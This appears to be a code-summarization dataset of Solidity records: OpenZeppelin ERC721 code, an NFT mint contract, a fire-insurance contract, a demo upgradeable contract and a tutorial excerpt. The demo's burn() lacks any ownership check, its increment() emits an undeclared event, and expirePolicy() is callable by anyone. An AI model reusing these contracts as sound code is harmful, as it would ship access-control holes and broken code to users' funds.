super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view virtual override returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _balances[owner];
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
address owner = _owners[tokenId];
require(owner != address(0), "ERC721: owner query for nonexistent token");
return owner;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory baseURI = _baseURI();
return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : "";
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overriden in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
return "";
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public virtual override {
address owner = ERC721.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(
_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view virtual override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
_setApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* `_data` is additional data, it has no specified format and it is sent in call to `to`.
*
* This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.
* implement alternative mechanisms to perform token transfer, such as signature-based.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeTransfer(
address from,
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
* and stop existing when they are burned (`_burn`).
*/
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _owners[tokenId] != address(0);
}
/**
* @dev Returns whether `spender` is allowed to manage `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ERC721.ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender));
}
/**
* @dev Safely mints `tokenId` and transfers it to `to`.
*
* Requirements:
*
* - `tokenId` must not exist.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
/**
* @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is
* forwarded in {IERC721Receiver-onERC721Received} to contract recipients.
*/
function _safeMint(
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_mint(to, tokenId);
require(
_checkOnERC721Received(address(0), to, tokenId, _data),
"ERC721: transfer to non ERC721Receiver implementer"
);
}
/**
* @dev Mints `tokenId` and transfers it to `to`.
*
* WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible
*
* Requirements:
*
* - `tokenId` must not exist.
* - `to` cannot be the zero address.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(address(0), to, tokenId);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
address owner = ERC721.ownerOf(tokenId);
_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
_approve(address(0), tokenId);
_balances[owner] -= 1;
delete _owners[tokenId];
emit Transfer(owner, address(0), tokenId);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) internal virtual {
require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own");
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_balances[from] -= 1;
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(from, to, tokenId);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(ERC721.ownerOf(tokenId), to, tokenId);
}
/**
* @dev Approve `operator` to operate on all of `owner` tokens
*
* Emits a {ApprovalForAll} event.
*/
function _setApprovalForAll(
address owner,
address operator,
bool approved
) internal virtual {
require(owner != operator, "ERC721: approve to caller");
_operatorApprovals[owner][operator] = approved;
emit ApprovalForAll(owner, operator, approved);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
if (to.isContract()) {
try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721Receiver.onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert("ERC721: transfer to non ERC721Receiver implementer");
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
}
// File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Enumerable.sol
// OpenZeppelin Contracts v4.4.0 (token/ERC721/extensions/IERC721Enumerable.sol)
pragma solidity ^0.8.0;
/**
* @title ERC-721 Non-Fungible Token Standard, optional enumeration extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Enumerable is IERC721 {
/**
* @dev Returns the total amount of tokens stored by the contract.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns a token ID owned by `owner` at a given `index` of its token list.
* Use along with {balanceOf} to enumerate all of ``owner``'s tokens.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId);
/**
* @dev Returns a token ID at a given `index` of all the tokens stored by the contract.
* Use along with {totalSupply} to enumerate all tokens.
*/
function tokenByIndex(uint256 index) external view returns (uint256);
}
// File: @openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol
// OpenZeppelin Contracts v4.4.0 (token/ERC721/extensions/ERC721Enumerable.sol)
pragma solidity ^0.8.0;
/**
* @dev This implements an optional extension of {ERC721} defined in the EIP that adds
* enumerability of all the token ids in the contract as well as all token ids owned by each
* account.
*/
abstract contract ERC721Enumerable is ERC721, IERC721Enumerable {
// Mapping from owner to list of owned token IDs
mapping(address => mapping(uint256 => uint256)) private _ownedTokens;
// Mapping from token ID to index of the owner tokens list
mapping(uint256 => uint256) private _ownedTokensIndex;
// Array with all token ids, used for enumeration
uint256[] private _allTokens;
// Mapping from token id to position in the allTokens array
mapping(uint256 => uint256) private _allTokensIndex;
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) {
return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721Enumerable-tokenOfOwnerByIndex}.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) {
require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds");
return _ownedTokens[owner][index];
}
/**
* @dev See {IERC721Enumerable-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _allTokens.length;
}
/**
* @dev See {IERC721Enumerable-tokenByIndex}.
*/
function tokenByIndex(uint256 index) public view virtual override returns (uint256) {
require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds");
return _allTokens[index];
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual override {
super._beforeTokenTransfer(from, to, tokenId);
if (from == address(0)) {
_addTokenToAllTokensEnumeration(tokenId);
} else if (from != to) {
_removeTokenFromOwnerEnumeration(from, tokenId);
}
if (to == address(0)) {
_removeTokenFromAllTokensEnumeration(tokenId);
} else if (to != from) {
_addTokenToOwnerEnumeration(to, tokenId);
}
}
/**
* @dev Private function to add a token to this extension's ownership-tracking data structures.
* @param to address representing the new owner of the given token ID
* @param tokenId uint256 ID of the token to be added to the tokens list of the given address
*/
function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private {
uint256 length = ERC721.balanceOf(to);
_ownedTokens[to][length] = tokenId;
_ownedTokensIndex[tokenId] = length;
}
/**
* @dev Private function to add a token to this extension's token tracking data structures.
* @param tokenId uint256 ID of the token to be added to the tokens list
*/
function _addTokenToAllTokensEnumeration(uint256 tokenId) private {
_allTokensIndex[tokenId] = _allTokens.length;
_allTokens.push(tokenId);
}
/**
* @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that
* while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for
* gas optimizations e.g. when performing a transfer operation (avoiding double writes).
* This has O(1) time complexity, but alters the order of the _ownedTokens array.
* @param from address representing the previous owner of the given token ID
* @param tokenId uint256 ID of the token to be removed from the tokens list of the given address
*/
function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private {
// To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = ERC721.balanceOf(from) - 1;
uint256 tokenIndex = _ownedTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary
if (tokenIndex != lastTokenIndex) {
uint256 lastTokenId = _ownedTokens[from][lastTokenIndex];
_ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
}
// This also deletes the contents at the last position of the array
delete _ownedTokensIndex[tokenId];
delete _ownedTokens[from][lastTokenIndex];
}
/**
* @dev Private function to remove a token from this extension's token tracking data structures.
* This has O(1) time complexity, but alters the order of the _allTokens array.
* @param tokenId uint256 ID of the token to be removed from the tokens list
*/
function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private {
// To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = _allTokens.length - 1;
uint256 tokenIndex = _allTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so
// rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding
// an 'if' statement (like in _removeTokenFromOwnerEnumeration)
uint256 lastTokenId = _allTokens[lastTokenIndex];
_allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
// This also deletes the contents at the last position of the array
delete _allTokensIndex[tokenId];
_allTokens.pop();
}
}
// File: @openzeppelin/contracts/access/Ownable.sol
// OpenZeppelin Contracts v4.4.0 (access/Ownable.sol)
pragma solidity ^0.8.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_transferOwnership(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
// File: contracts/0xBatz.sol
pragma solidity ^0.8.10;
contract xBatz is ERC721Enumerable, Ownable {
using Strings for uint256;
using Address for address;
address public teamWallet;
bool public mintEnabled = false;
uint8 public perMint = 3;
uint256 public price = 0 ether;
uint256 public mintPrice = .01 ether;
uint16 public maxSupply = 6666;
uint16 public reserved = 250;
string private baseURI;
string private defaultURI;
uint16 private psupply;
/**
* @notice Setup ERC721
*/
constructor(
string memory name,
string memory symbol,
string memory _defaultURI,
address _teamWallet
) ERC721(name, symbol) {
require(_teamWallet != address(0), "Zero address error");
defaultURI = _defaultURI;
psupply = 0;
teamWallet = _teamWallet;
}
/**
* @notice Send ETH to owners wallet
*/
function ownerWithdraw() public onlyOwner {
uint256 balance = address(this).balance;
payable(msg.sender).transfer(balance);
}
/**
* @notice Send ETH to team wallet
*/
function teamWithdraw() public onlyOwner {
uint256 balance = address(this).balance;
payable(teamWallet).transfer(balance);
}
/**
* @notice Make New 0xBatz
* @param amount Amount of 0xBatz to mint
* @dev Utilize unchecked {} and calldata for gas savings.
*/
function mint(uint256 amount) public payable {
if ((psupply + amount > 666) && (psupply + amount < 669)) {
require(mintPrice * (psupply + amount - 666) <= msg.value, "Ether value sent is not correct.");
}
require(mintEnabled, "Minting is disabled.");
require(psupply + amount <= maxSupply - reserved, "Amount exceeds maximum supply of 0xBatz.");
require(amount <= perMint, "Amount exceeds current maximum 0xBatz per mint.");
require(price * amount <= msg.value, "Ether value sent is not correct.");
uint16 supply = psupply;
unchecked {
for (uint16 i = 0; i < amount; i++) {
_safeMint(msg.sender, supply++);
}
}
psupply = supply;
if (psupply >= 666) {
price = mintPrice;
perMint = 10;
}
}
/**
* @notice Send reserved 0xBatz
* @param _to address to send reserved nfts to.
* @param _amount number of nfts to send
*/
function fetchTeamReserved(address _to, uint16 _amount)
public
onlyOwner
{
require( _to != address(0), "Zero address error");
require( _amount <= reserved, "Exceeds reserved babies supply");
uint16 supply = psupply;
unchecked {
for (uint8 i = 0; i < _amount; i++) {
_safeMint(_to, supply++);
}
}
psupply = supply;
reserved -= _amount;
}
/**
* @notice Set price.
* @param newPrice new minting price
* @dev Only authorized accounts.
*/
function setPrice(uint256 newPrice) public onlyOwner {
price = newPrice;
}
/**
* @notice Return mint price.
*/
function getMintPrice() public view returns (uint256) {
return price;
}
/**
* @notice Toggles minting state.
*/
function toggleMintEnabled() public onlyOwner {
mintEnabled = !mintEnabled;
}
/**
* @notice Sets max 0xBatz per mint.
*/
function setPerMint(uint8 _perMint) public onlyOwner {
perMint = _perMint;
}
/**
* @notice Set base URI.
*/
function setBaseURI(string memory _baseURI) public onlyOwner {
baseURI = _baseURI;
}
/**
* @notice Set default URI.
*/
function setDefaultURI(string memory _defaultURI) public onlyOwner {
defaultURI = _defaultURI;
}
/**
* @notice Set reserved.
* @param _reserved new reserved amount.
* @dev Only authorized accounts.
*/
function setReserved(uint16 _reserved) public onlyOwner {
reserved = _reserved;
}
/**
* @notice Set team wallet.
* @param _teamWallet new team wallet address
* @dev Only authorized accounts.
*/
function setTeamWallet(address _teamWallet) public onlyOwner {
require(_teamWallet != address(0), "Zero address error");
teamWallet = _teamWallet;
}
function tokenURI(uint256 tokenId)
public
view
override
returns (string memory)
{
require(_exists(tokenId), "Token does not exist.");
if (bytes(baseURI).length == 0) {
return defaultURI;
} else {
return string(abi.encodePacked(baseURI, (tokenId).toString()));
}
}
function burn(uint256 tokenId) public virtual {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721Burnable: caller is not owner nor approved");
_burn(tokenId);
}
}
|
* @notice Make New 0xBatz @param amount Amount of 0xBatz to mint @dev Utilize unchecked {} and calldata for gas savings./
|
function mint(uint256 amount) public payable {
if ((psupply + amount > 666) && (psupply + amount < 669)) {
require(mintPrice * (psupply + amount - 666) <= msg.value, "Ether value sent is not correct.");
}
require(mintEnabled, "Minting is disabled.");
require(psupply + amount <= maxSupply - reserved, "Amount exceeds maximum supply of 0xBatz.");
require(amount <= perMint, "Amount exceeds current maximum 0xBatz per mint.");
require(price * amount <= msg.value, "Ether value sent is not correct.");
uint16 supply = psupply;
unchecked {
for (uint16 i = 0; i < amount; i++) {
_safeMint(msg.sender, supply++);
}
}
psupply = supply;
if (psupply >= 666) {
price = mintPrice;
perMint = 10;
}
}
| 311,212
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// SPDX-License-Identifier: Apache-2.0
pragma solidity ^0.8.0;
import "@gif-interface/contracts/Product.sol";
import "./FireOracle.sol";
contract FireInsurance is Product {
// constants
bytes32 public constant VERSION = "0.0.1";
bytes32 public constant POLICY_FLOW = "PolicyFlowDefault";
uint256 public constant PAYOUT_FACTOR_MEDIUM = 5;
uint256 public constant PAYOUT_FACTOR_LARGE = 100;
string public constant CALLBACK_METHOD_NAME = "oracleCallback";
// variables
uint256 public fireOracleId;
uint256 public uniqueIndex;
mapping(string => bool) public activePolicy;
// events
event LogFirePolicyCreated(address policyHolder, string objectName, bytes32 policyId);
event LogFirePolicyExpired(string objectName, bytes32 policyId);
event LogFireClaimConfirmed(bytes32 policyId, uint256 claimId, uint256 payoutId, uint256 payoutAmount);
event LogFirePayoutExecuted(bytes32 policyId, uint256 claimId, uint256 payoutId, uint256 payoutAmount);
// functions
constructor(
address gifProductService,
bytes32 productName,
uint256 oracleId
)
Product(gifProductService, productName, POLICY_FLOW)
{
fireOracleId = oracleId;
}
function deposit() public payable {}
function withdraw(uint256 amount) external onlyOwner {
require(amount <= address(this).balance);
address payable receiver;
receiver = payable(owner());
receiver.transfer(amount);
}
function applyForPolicy(string calldata objectName)
external
payable
returns (bytes32 policyId, uint256 requestId)
{
address payable policyHolder = payable(msg.sender);
uint256 premium = msg.value;
// Validate input parameters
require(premium > 0, "ERROR:FI-001:INVALID_PREMIUM");
require(PAYOUT_FACTOR_MEDIUM * premium < address(this).balance, "ERROR:FI-002:INSUFFICIENT_CAPITAL");
require(!activePolicy[objectName], "ERROR:FI-003:ACTIVE_POLICY_EXISTS");
// Create new ID for this policy
uniqueIndex++;
policyId = keccak256(abi.encode(productId, policyHolder, objectName, uniqueIndex));
// Create and underwrite new application
_newApplication(policyId, abi.encode(policyHolder, objectName, premium));
_underwrite(policyId);
// Update activ state for object
activePolicy[objectName] = true;
// trigger fire observation for object id via oracle call
requestId = _request(
policyId,
abi.encode(objectName),
CALLBACK_METHOD_NAME,
fireOracleId
);
emit LogFirePolicyCreated(policyHolder, objectName, policyId);
}
function expirePolicy(bytes32 policyId) external {
// Get policy data
(address payable policyHolder, string memory objectName, uint256 premium) = abi.decode(
_getApplicationData(policyId), (address, string, uint256));
// Validate input parameter
require(premium > 0, "ERROR:FI-004:NON_EXISTING_POLICY");
require(activePolicy[objectName], "ERROR:FI-005:EXPIRED_POLICY");
_expire(policyId);
activePolicy[objectName] = false;
emit LogFirePolicyExpired(objectName, policyId);
}
function oracleCallback(uint256 requestId, bytes32 policyId, bytes calldata response)
external
onlyOracle
{
// Get policy data for oracle response
(address payable policyHolder, string memory objectName, uint256 premium) = abi.decode(
_getApplicationData(policyId), (address, string, uint256));
// Validate input parameter
require(activePolicy[objectName], "ERROR:FI-006:EXPIRED_POLICY");
// Get oracle response data
(bytes1 fireCategory) = abi.decode(response, (bytes1));
// Claim handling based on reponse to greeting provided by oracle
_handleClaim(policyId, policyHolder, premium, fireCategory);
}
function _handleClaim(
bytes32 policyId,
address payable policyHolder,
uint256 premium,
bytes1 fireCategory
)
internal
{
uint256 payoutAmount = _calculatePayoutAmount(premium, fireCategory);
// Ensure available capital
require(payoutAmount < address(this).balance, "ERROR:FI-007:INSOLVENT_PRODUCT");
// no claims handling for payouts == 0
uint256 claimId = _newClaim(policyId, abi.encode(payoutAmount));
uint256 payoutId = _confirmClaim(policyId, claimId, abi.encode(payoutAmount));
emit LogFireClaimConfirmed(policyId, claimId, payoutId, payoutAmount);
if (payoutAmount > 0) {
_payout(policyId, payoutId, true, abi.encode(payoutAmount));
// actual transfer of funds for payout of claim
policyHolder.transfer(payoutAmount);
emit LogFirePayoutExecuted(policyId, claimId, payoutId, payoutAmount);
}
}
function _calculatePayoutAmount(uint256 premium, bytes1 fireCategory)
internal
pure
returns(uint256 payoutAmount)
{
if (fireCategory == 'M') {
payoutAmount = PAYOUT_FACTOR_MEDIUM * premium;
} else if (fireCategory == 'L') {
payoutAmount = PAYOUT_FACTOR_LARGE * premium;
} else {
// small fires considered below deductible, no payout
payoutAmount = 0;
}
}
}
|
Get policy data for oracle response Validate input parameter Get oracle response data Claim handling based on reponse to greeting provided by oracle
|
function oracleCallback(uint256 requestId, bytes32 policyId, bytes calldata response)
external
onlyOracle
{
(address payable policyHolder, string memory objectName, uint256 premium) = abi.decode(
_getApplicationData(policyId), (address, string, uint256));
require(activePolicy[objectName], "ERROR:FI-006:EXPIRED_POLICY");
(bytes1 fireCategory) = abi.decode(response, (bytes1));
_handleClaim(policyId, policyHolder, premium, fireCategory);
}
| 12,760,566
|
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./full_match/71401/0xc8e2f76e427Ebd2bde6d602ca9765bb4f5117D7E/sources/contracts/Demo.sol
|
* @dev 逻辑合约，执行被委托的调用/
|
contract Logic is Initializable, ERC721Upgradeable{
uint256 public value;
using Counters for Counters.Counter;
Counters.Counter private _tokenIdCounter;
event ValueChanged(uint256 value);
function initialize() public virtual initializer {
__ERC721_init("NiHao01", "NH");
_mint(msg.sender, 100);
}
function safeMint(address to) public {
uint256 tokenId = _tokenIdCounter.current();
_tokenIdCounter.increment();
_safeMint(to, tokenId + 12345678912345678);
}
function burn(uint256 tokenId) public {
_burn(tokenId);
}
function store(uint256 _value) public {
value = _value;
emit ValueChanged(_value);
}
function retrieve() public view returns (uint256) {
return value + 100;
}
function increment() public {
emit CallSuccess();
value = value+1;
}
}
| 7,099,963
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// First, a simple Bank contract
// Allows deposits, withdrawals, and balance checks
// simple_bank.sol (note .sol extension)
/* **** START EXAMPLE **** */
// Declare the source file compiler version
pragma solidity ^0.4.19;
// Start with Natspec comment (the three slashes)
// used for documentation - and as descriptive data for UI elements/actions
/// @title SimpleBank
/// @author nemild
/* 'contract' has similarities to 'class' in other languages (class variables,
inheritance, etc.) */
contract SimpleBank { // CapWords
// Declare state variables outside function, persist through life of contract
// dictionary that maps addresses to balances
// always be careful about overflow attacks with numbers
mapping (address => uint) private balances;
// "private" means that other contracts can't directly query balances
// but data is still viewable to other parties on blockchain
address public owner;
// 'public' makes externally readable (not writeable) by users or contracts
// Events - publicize actions to external listeners
event LogDepositMade(address accountAddress, uint amount);
// Constructor, can receive one or many variables here; only one allowed
function SimpleBank() public {
// msg provides details about the message that's sent to the contract
// msg.sender is contract caller (address of contract creator)
owner = msg.sender;
}
/// @notice Deposit ether into bank
/// @return The balance of the user after the deposit is made
function deposit() public payable returns (uint) {
// Use 'require' to test user inputs, 'assert' for internal invariants
// Here we are making sure that there isn't an overflow issue
require((balances[msg.sender] + msg.value) >= balances[msg.sender]);
balances[msg.sender] += msg.value;
// no "this." or "self." required with state variable
// all values set to data type's initial value by default
LogDepositMade(msg.sender, msg.value); // fire event
return balances[msg.sender];
}
/// @notice Withdraw ether from bank
/// @dev This does not return any excess ether sent to it
/// @param withdrawAmount amount you want to withdraw
/// @return The balance remaining for the user
function withdraw(uint withdrawAmount) public returns (uint remainingBal) {
require(withdrawAmount <= balances[msg.sender]);
// Note the way we deduct the balance right away, before sending
// Every .transfer/.send from this contract can call an external function
// This may allow the caller to request an amount greater
// than their balance using a recursive call
// Aim to commit state before calling external functions, including .transfer/.send
balances[msg.sender] -= withdrawAmount;
// this automatically throws on a failure, which means the updated balance is reverted
msg.sender.transfer(withdrawAmount);
return balances[msg.sender];
}
/// @notice Get balance
/// @return The balance of the user
// 'view' (ex: constant) prevents function from editing state variables;
// allows function to run locally/off blockchain
function balance() view public returns (uint) {
return balances[msg.sender];
}
}
// ** END EXAMPLE **
// Now, the basics of Solidity
// 1. DATA TYPES AND ASSOCIATED METHODS
// uint used for currency amount (there are no doubles
// or floats) and for dates (in unix time)
uint x;
// int of 256 bits, cannot be changed after instantiation
int constant a = 8;
int256 constant a = 8; // same effect as line above, here the 256 is explicit
uint constant VERSION_ID = 0x123A1; // A hex constant
// with 'constant', compiler replaces each occurrence with actual value
// All state variables (those outside a function)
// are by default 'internal' and accessible inside contract
// and in all contracts that inherit ONLY
// Need to explicitly set to 'public' to allow external contracts to access
int256 public a = 8;
// For int and uint, can explicitly set space in steps of 8 up to 256
// e.g., int8, int16, int24
uint8 b;
int64 c;
uint248 e;
// Be careful that you don't overflow, and protect against attacks that do
// For example, for an addition, you'd do:
uint256 c = a + b;
assert(c >= a); // assert tests for internal invariants; require is used for user inputs
// For more examples of common arithmetic issues, see Zeppelin's SafeMath library
// https://github.com/OpenZeppelin/zeppelin-solidity/blob/master/contracts/math/SafeMath.sol
// No random functions built in, use other contracts for randomness
// Type casting
int x = int(b);
bool b = true; // or do 'var b = true;' for inferred typing
// Addresses - holds 20 byte/160 bit Ethereum addresses
// No arithmetic allowed
address public owner;
// Types of accounts:
// Contract account: address set on create (func of creator address, num transactions sent)
// External Account: (person/external entity): address created from public key
// Add 'public' field to indicate publicly/externally accessible
// a getter is automatically created, but NOT a setter
// All addresses can be sent ether
owner.transfer(SOME_BALANCE); // fails and reverts on failure
// Can also do a lower level .send call, which returns a false if it failed
if (owner.send) {} // REMEMBER: wrap send in 'if', as contract addresses have
// functions executed on send and these can fail
// Also, make sure to deduct balances BEFORE attempting a send, as there is a risk of a recursive
// call that can drain the contract
// Can check balance
owner.balance; // the balance of the owner (user or contract)
// Bytes available from 1 to 32
byte a; // byte is same as bytes1
bytes2 b;
bytes32 c;
// Dynamically sized bytes
bytes m; // A special array, same as byte[] array (but packed tightly)
// More expensive than byte1-byte32, so use those when possible
// same as bytes, but does not allow length or index access (for now)
string n = "hello"; // stored in UTF8, note double quotes, not single
// string utility functions to be added in future
// prefer bytes32/bytes, as UTF8 uses more storage
// Type inference
// var does inferred typing based on first assignment,
// can't be used in functions parameters
var a = true;
